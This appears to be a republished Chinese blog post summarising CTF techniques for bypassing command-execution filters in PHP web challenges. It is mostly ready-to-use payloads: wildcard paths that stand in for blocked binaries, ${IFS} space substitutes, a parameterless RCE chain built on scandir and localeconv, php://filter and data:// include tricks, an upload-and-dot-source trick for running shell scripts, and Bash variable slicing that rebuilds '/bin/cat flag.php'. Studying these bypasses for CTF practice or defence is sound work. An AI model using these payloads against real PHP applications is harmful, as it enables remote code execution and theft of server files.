资讯专栏INFORMATION COLUMN

命令执行总结

张率功 / 3656人阅读

摘要:第一个是小数点。取得数组内容查看该路径下的目录数组逆转函数将内部指针指向数组中的下一个元素,并输出。

萌新总结,仅供参考的~~~~~

目录

最常用的绕过

通配符

执行函数

cat被过滤

空格被过滤

php被过滤

无参函数读取文件

无参rce

数字,字母被禁

英文被禁,保留数字

全都被禁

include函数的使用

伪协议

data协议

>/del/null 2>&1(黑洞)

文件读取

缓冲区

Bash的内置变量绕过

特殊的


最常用的绕过

通配符

*可以匹配0或多个字符?可以匹配任意一个字符[abcd]匹配abcd中任意一个字符[a-z]表示范围a到z,表示范围的意思[]匹配括号中任意一个字符

例如:

 

在这一题中过滤掉了flag,我们就可以直接用f*或f???代替

执行函数

system()与``作用相同,但是需要echo特殊的"/x73/x79/x73/x74/x65/x6d"()也等于system()passthru()exec()shell_exec()

cat被过滤

1.tac:从最后一行开始显示,是cat的反向显示2.more:一页一页的显示档案内容3.less:与more类似4.head:查看文档的前几行5.tail:查看文档的后几行6.nl:显示的时候,顺便输入行号7.od:以二进制的方式读取档案内容8.vi:一种编辑器9.uniq:查看10.vim:一种编译器

空格被过滤

1.${IFS}2.$IFS$13.${IFS4.%20空格5.<和<>重定向符6.%09水平制表符

php被过滤

可以直接通配符匹配在php结构内,

无参函数读取文件

无参rce

?c=show_source(next(array_reverse(scandir(pos(localeconv()))))); 

关于无参rce

localeconv()返回一包含本地数字及货币格式信息的数组。第一个是小数点。pos()取得数组内容scandir()查看该路径下的目录array_reverse()数组逆转next() 函数将内部指针指向数组中的下一个元素,并输出。show_source()显示源码

数字,字母被禁

英文被禁,保留数字

可以使用base64通配符进行匹配命令执行进行查看flag

?c=/???/????64 flag.php意思/bin/base64 flag.php

其次,我们可以利用bzip2命令

可以利用/usr/bin下的bzip2

?c=/???/???/????2 ????.???/usr/bin/bzip2 flag.php

全都被禁

第三个使用.(进行)执行sh命令

上传post文件数据包

            POST数据包POC

然后抓包,执行poc执行命令

?c=.+/???/????????[@-[]

#!/bin/shls
#!/bin/shtac flag.php

include函数的使用

在执行函数被禁后,可以使用include函数,

例题:

 

在这一题中,多数的命令执行函数都被禁了,所以我们可以尝试使用include函数进行绕过

?c=include"$_GET[1]"?>&1=php://filter/read=convert.base64-encode/resource=flag.php

c包含一个get传入的参数1,在原题的源码里禁用的函数只对c禁用,1是随便用的,然后用1来读取flag.php

伪协议

data协议

在命令执行中源码会使用include函数,而不是eval函数

?c=data://text/plain,

data会把后面的数字,字符串作为php代码执行

?c=data://text/plain,

>/del/null 2>&1(黑洞)

/dev/null 2>&1,它的作用为执行某个命令不会有任何输出

绕过的方法就是,多用一个命令,进行命令的一个组合

?c=ls;ls?c=cat flag.php;ls

特殊的,我们使用的符号有

;||&&——%26%26

还有一个方法就是复制文件或移动文件

?c=cp${IFS}/fla?${IFS}/var/www/html/b.txt||lsb.txt

文件读取

源码

常见的

 c=echo file_get_contents("flag.php");
使用include函数,include($_GET[a]);?a=php://filter/convert.base64-encode/resource=flag.php
高亮函数,c=highlight_file("flag.php");
show_source函数,c=show_source("flag.php");
c=include("flag.php");echo $flag;
c=include("flag.php");var_dump(get_defined_vars());
c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

缓冲区

​你要上天吗?

函数解释

ob_get_contents()——返回输出缓冲区的内容ob_end_clean——清空(擦除)缓冲区并关闭输出缓冲

解题的思路就是,

执行PHP的代码,让后面的匹配缓冲区不执行直接退出

例如payload

c=include("/flag.txt");exit(0);c=require_once("/flag.txt");exit();
c=?>用来闭合__toString()." ");    }     exit(0);?>

Bash的内置变量绕过

具体含义利用~获取变量的最后几位,

~0获取最后一位~1获取最后两位~[a-z]/[A-Z]获取最后一位,等同数字0在这要配合$PWD,$PATH$PWD——echo $PWD会输出当前目录名

特殊的

一般$PATH是以bin结尾,所以${PATH:-A}为n在hint1中,我们可知当前目录是/var/www/html,也就是${PWD:-A}为l我们就可以构造nlnl flag.php${PATH:~A}${PWD:~A} ????.???
${HOME:${#HOSTNAME}:${#SHLVL}}为t${PWD:${Z}:${#SHLVL}}为//bin/cat flag.php${PWD:${Z}:${#SHLVL}}???${PWD:${Z}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
${#SHLVL}的值是1,所以${PWD::${#SHLVL}}的值是/${#RANDOM}的值大概率是4或5,这就构造出4了/bin/base64 flag.php${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
${USER:}的最后一位为a/bin/cat flag.php${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
${##}和${#?}可以代替SHLVL,${PWD::${#?}}=//bin/rev flag.php${PWD::${#?}}???${PWD::${#?}}${PWD:${IFS}:${#?}}?? ????.???

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/119190.html

相关文章

  • Linux_《Linux命令行与shell脚本编程大全》第五章学习总结

    摘要:內建命令和非內建命令的操作方式大不相同。內建命令內建命令和外部命令的区别在于前者不需要使用子进程来执行。和命令都是內建与。命令演示演示说明利用命令来了解某个命令是否是內建的。 时间:2017年04月10日 说明:本文部分内容均摘取自书籍《Linux命令行与shell脚本编程大全》,版权归原作者所有。《Linux命令行与shell脚本编程大全》(第三版)第五章学习总结 第五章:理解she...

    rainyang 评论0 收藏1
  • crontab用法总结

    摘要:是什么命令常见于和类的操作系统之中用于设置周期性被执行的指令。 crontab是什么 crontab命令常见于Unix和类Unix的操作系统之中,用于设置周期性被执行的指令。「crontab」一词来源于希腊语chronos(χρνο),原意是时间. 而crond是Linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程,操作系统默认会安装此服务工具,并且会自动启动crond...

    Cruise_Chan 评论0 收藏0
  • 关于linux 前后台的相关命令。(总结别人)

    摘要:四将后台中的命令调至前台继续运行。五将一个在后台暂停的命令,变成在后台继续执行。运行与控制后台进程的方法顾名思义,的用途就是让提交的命令忽略所有的信号。进入指定会话后执行即可关闭该会话。 首先是 fg、bg、jobs、&、nohup、ctrl+z、ctrl+c 命令 一、& 加在一个命令的最后,可以把这个命令放到后台执行,如 watch -n 10 sh test.sh &...

    alin 评论0 收藏0
  • 关于linux 前后台的相关命令。(总结别人)

    摘要:四将后台中的命令调至前台继续运行。五将一个在后台暂停的命令,变成在后台继续执行。运行与控制后台进程的方法顾名思义,的用途就是让提交的命令忽略所有的信号。进入指定会话后执行即可关闭该会话。 首先是 fg、bg、jobs、&、nohup、ctrl+z、ctrl+c 命令 一、& 加在一个命令的最后,可以把这个命令放到后台执行,如 watch -n 10 sh test.sh &...

    kel 评论0 收藏0
  • k8s安装总结

    摘要:主要在文件附加下面的源我使用的是阿里的镜像,如果你使用的其他国内镜像,请找对应的镜像源然后执行下列命令,安装软件。参考资料只要用小朋友都能部署基本安装基于阿里云镜像站安装用在上快速构建测试集群 本次安装环境是Ubuntu16.04,其他环境下,shell命令会有一些不同,但步骤应该大致相同,默认docker已经安装完成 下载 下载安装下列软件 kubelet Node上运行的节点代理...

    Nosee 评论0 收藏0
  • PHP高级语法总结

    摘要:一执行系统外部命令输出并返回最后一行结果。相同点都可以获得命令执行的状态码用提供的专门函数提供共了个专门的执行外部命令的函数,,。第二个参数是可选的,用来得到命令执行后的状态码。 php高级语法总结。 一、执行系统外部命令 system() 输出并返回最后一行shell结果。 exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。 pass...

    Hydrogen 评论0 收藏0

发表评论

0条评论

最新活动
阅读需要支付1元查看
<